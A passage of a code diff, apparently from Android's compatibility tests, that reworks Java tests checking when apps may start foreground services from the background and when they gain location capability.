                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_NONE));
-            CommandReceiver.sendCommand(mContext,
-                    CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
-                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
-
-            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
-            waiter.prepare(ACTION_START_FGSL_RESULT);
-            CommandReceiver.sendCommand(mContext,
-                    CommandReceiver.COMMAND_SEND_FGSL_PENDING_INTENT,
-                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
-            // Package2 won't have location capability.
-            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
-                    WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_NONE));
+                    new Integer(PROCESS_CAPABILITY_NETWORK));
             waiter.doWait(WAITFOR_MSEC);
-            // stop FGSL in package2.
-            CommandReceiver.sendCommand(mContext,
-                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
-                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
-            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
-                    WatchUidRunner.STATE_CACHED_EMPTY,
-                    new Integer(PROCESS_CAPABILITY_NONE));
-
-            // put package1 in TOP state, start FGSL in package2.
-            CommandReceiver.sendCommand(mContext,
-                    CommandReceiver.COMMAND_START_ACTIVITY,
-                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
-                    WatchUidRunner.STATE_TOP,
-                    new Integer(PROCESS_CAPABILITY_ALL));
-            // Sleep 12 second to let BAL grace period expire.
-            SystemClock.sleep(12000);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
@@ -302,13 +372,12 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_SEND_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
-            // Package2 now have location capability (because package1 is TOP)
+            // APP2 won't have location capability.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_ALL));
+                    new Integer(PROCESS_CAPABILITY_NETWORK));
             waiter.doWait(WAITFOR_MSEC);
-
-            // stop FGSL in package2.
+            // stop FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
@@ -316,16 +385,45 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
-            // stop FGS in package1,
+            // put APP1 in TOP state, start FGSL in APP2.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_TOP,
+                    new Integer(PROCESS_CAPABILITY_ALL));
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_SEND_FGSL_PENDING_INTENT,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            // APP2 now have location capability (because APP1 is TOP)
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_FG_SERVICE,
+                    new Integer(PROCESS_CAPABILITY_ALL));
+            waiter.doWait(WAITFOR_MSEC);
+
+            // stop FGSL in APP2.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                    WatchUidRunner.STATE_CACHED_EMPTY,
+                    new Integer(PROCESS_CAPABILITY_NONE));
+
+            // stop FGS in APP1,
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-            // stop TOP activity in package1.
+            // stop TOP activity in APP1.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-            // Sleep 12 second to let BAL grace period expire.
-            SystemClock.sleep(12000);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
@@ -335,7 +433,11 @@
         }
     }
 
-
+    /**
+     * Test a FGS start by bind from BG does not get get while-in-use capability.
+     * @throws Exception
+     */
+    @Test
     public void testFgsLocationStartFromBGWithBind() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -343,21 +445,25 @@
                 WAITFOR_MSEC);
 
         try {
-            // Package1 is in BG state, bind FGSL in package1 first.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            // APP1 is in BG state, bind FGSL in APP1 first.
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             Bundle bundle = new Bundle();
             bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
                     ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
-            // Then start FGSL in package1, it won't get location capability.
+            // Then start FGSL in APP1, it won't get location capability.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
 
-            // Package1 is in FGS state, but won't get location capability.
+            // APP1 is in FGS state, but won't get location capability.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_NONE));
+                    new Integer(PROCESS_CAPABILITY_NETWORK));
+            waiter.doWait(WAITFOR_MSEC);
 
             // unbind service.
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
@@ -373,4 +479,1065 @@
             uid1Watcher.finish();
         }
     }
+
+    /**
+     * Test FGS background startForeground() restriction, use DeviceConfig to turn on restriction.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromBG1() throws Exception {
+        testFgsStartFromBG(true);
+    }
+
+    /**
+     * Test FGS background startForeground() restriction, use AppCompat CHANGE ID to turn on
+     * restriction.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromBG2() throws Exception {
+        testFgsStartFromBG(false);
+    }
+
+    private void testFgsStartFromBG(boolean useDeviceConfig) throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        try {
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // disable the FGS background startForeground() restriction.
+            enableFgsRestriction(false, true, null);
+            enableFgsRestriction(false, useDeviceConfig, PACKAGE_NAME_APP1);
+            // APP1 is in BG state, Start FGS in APP1.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 is in STATE_FG_SERVICE.
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // stop FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+
+            // Enable the FGS background startForeground() restriction.
+            allowBgActivityStart(PACKAGE_NAME_APP1, false);
+            enableFgsRestriction(true, true, null);
+            enableFgsRestriction(true, useDeviceConfig, PACKAGE_NAME_APP1);
+            // Start FGS in BG state.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // Put APP1 in TOP state.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
+            allowBgActivityStart(PACKAGE_NAME_APP1, false);
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // Stop activity.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // FGS is still running.
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
+
+    /**
+     * Test a FGS can start from a process that is at BOUND_TOP state.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromBoundTopState() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
+        ApplicationInfo app3Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP3, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid3Watcher = new WatchUidRunner(mInstrumentation, app3Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+
+            // Put APP1 in TOP state.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
+
+            // APP1 bound to service in APP2, APP2 get BOUND_TOP state.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_BIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP);
+
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // APP2 can start FGS in APP3.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            // Stop activity.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            // unbind service.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            uid2Watcher.finish();
+            uid3Watcher.finish();
+        }
+    }
+
+    /**
+     * Test a FGS can start from a process that is at FOREGROUND_SERVICE state.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromFgsState() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
+        ApplicationInfo app3Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP3, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid3Watcher = new WatchUidRunner(mInstrumentation, app3Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+
+            // Put APP1 in TOP state.
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
+
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // APP1 can start FGS in APP2, APP2 gets FOREGROUND_SERVICE state.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // APP2 can start FGS in APP3.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            // Stop activity in APP1.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            // Stop FGS in APP2.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            // Stop FGS in APP3.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            uid2Watcher.finish();
+            uid3Watcher.finish();
+        }
+    }
+
+    /**
+     * When the service is started by bindService() command, test when BG-FGS-launch
+     * restriction is disabled, FGS can start from background.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromBGWithBind() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+
+        try {
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            // APP1 is in BG state, bind FGSL in APP1 first.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // Then start FGSL in APP1
+            enableFgsRestriction(false, true, null);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 is in FGS state
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            // stop FGS
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // unbind service.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
+
+    /**
+     * When the service is started by bindService() command, test when BG-FGS-launch
+     * restriction is enabled, FGS can NOT start from background.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsStartFromBGWithBindWithRestriction() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+
+        try {
+            enableFgsRestriction(true, true, null);
+            // APP1 is in BG state, bind FGSL in APP1 first.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // Then start FGS in APP1
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // stop FGS
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // unbind service.
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
+
+    /**
+     * Test BIND_ALLOW_BACKGROUND_ACTIVITY_STARTS flag.
+     * Shell has START_ACTIVITIES_FROM_BACKGROUND permission, it can use this bind flag to
+     * pass BG-Activity-launch ability to APP2, then APP2 can start APP2 FGS from background.
+     */
+    @Test
+    public void testFgsBindingFlagActivity() throws Exception {
+        testFgsBindingFlag(Context.BIND_ALLOW_BACKGROUND_ACTIVITY_STARTS);
+    }
+
+    /**
+     * Test BIND_ALLOW_FOREGROUND_SERVICE_STARTS_FROM_BACKGROUND flag.
+     * Shell has START_FOREGROUND_SERVICES_FROM_BACKGROUND permission, it can use this bind flag to
+     * pass BG-FGS-launch ability to APP2, then APP2 can start APP3 FGS from background.
+     */
+    @Test
+    public void testFgsBindingFlagFGS() throws Exception {
+        testFgsBindingFlag(Context.BIND_ALLOW_FOREGROUND_SERVICE_STARTS_FROM_BACKGROUND);
+    }
+
+    /**
+     * Test no binding flag.
+     * Shell has START_FOREGROUND_SERVICES_FROM_BACKGROUND permission, without any bind flag,
+     * the BG-FGS-launch ability can be passed to APP2 by service binding, then APP2 can start
+     * APP3 FGS from background.
+     */
+    @Test
+    public void testFgsBindingFlagNone() throws Exception {
+        testFgsBindingFlag(0);
+    }
+
+    private void testFgsBindingFlag(int bindingFlag) throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
+        ApplicationInfo app3Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP3, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
+        WatchUidRunner uid3Watcher = new WatchUidRunner(mInstrumentation, app3Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+
+            // testapp is in background.
+            // testapp binds to service in APP2, APP2 still in background state.
+            final Intent intent = new Intent().setClassName(
+                    PACKAGE_NAME_APP2, "android.app.stubs.LocalService");
+
+            /*
+            final ServiceConnection connection = new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName name, IBinder service) {
+                }
+                @Override
+                public void onServiceDisconnected(ComponentName name) {
+                }
+            };
+            runWithShellPermissionIdentity(() -> {
+                mTargetContext.bindService(intent, connection,
+                        Context.BIND_AUTO_CREATE | Context.BIND_WAIVE_PRIORITY);
+            });
+
+            // APP2 can not start FGS in APP3.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            // testapp unbind service in APP2.
+            runWithShellPermissionIdentity(() -> mTargetContext.unbindService(connection));
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            */
+
+            // testapp is in background.
+            // testapp binds to service in APP2 using the binding flag.
+            // APP2 still in background state.
+            final ServiceConnection connection2 = new ServiceConnection() {
+                @Override
+                public void onServiceConnected(ComponentName name, IBinder service) {
+                }
+                @Override
+                public void onServiceDisconnected(ComponentName name) {
+                }
+            };
+            runWithShellPermissionIdentity(() -> mTargetContext.bindService(intent, connection2,
+                    Context.BIND_AUTO_CREATE | Context.BIND_WAIVE_PRIORITY
+                            | bindingFlag));
+
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Because the binding flag,
+            // APP2 can start FGS from background.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            // testapp unbind service in APP2.
+            runWithShellPermissionIdentity(() -> mTargetContext.unbindService(connection2));
+            uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            // Stop the FGS in APP3.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP3, PACKAGE_NAME_APP3, 0, null);
+            uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+            uid2Watcher.finish();
+            uid3Watcher.finish();
+        }
+    }
+
+    /**
+     * Test a FGS can start from BG if the app has SYSTEM_ALERT_WINDOW permission.
+     */
+    @Test
+    public void testFgsStartSystemAlertWindow() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        try {
+            // Enable the FGS background startForeground() restriction.
+            enableFgsRestriction(true, true, null);
+            // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            // APP1 does not enter FGS state
+            try {
+                waiter.doWait(WAITFOR_MSEC);
+                fail("Service should not enter foreground service state");
+            } catch (Exception e) {
+            }
+
+            PermissionUtils.grantPermission(
+                    PACKAGE_NAME_APP1, android.Manifest.permission.SYSTEM_ALERT_WINDOW);
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Now it can start FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop the FGS.
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+        } finally {
+            uid1Watcher.finish();
+        }
+    }
+
+    /**
+     * Test a FGS can start from BG if the device is in retail demo mode.
+     */
+    @Test
+    // Change Settings.Global.DEVICE_DEMO_MODE on device may trigger other listener and put
+    // the device in undesired state, for example, the battery charge level is set to 35%
+    // permanently, ignore this test for now.
+    @Ignore
+    public void testFgsStartRetailDemoMode() throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        runWithShellPermissionIdentity(()-> {
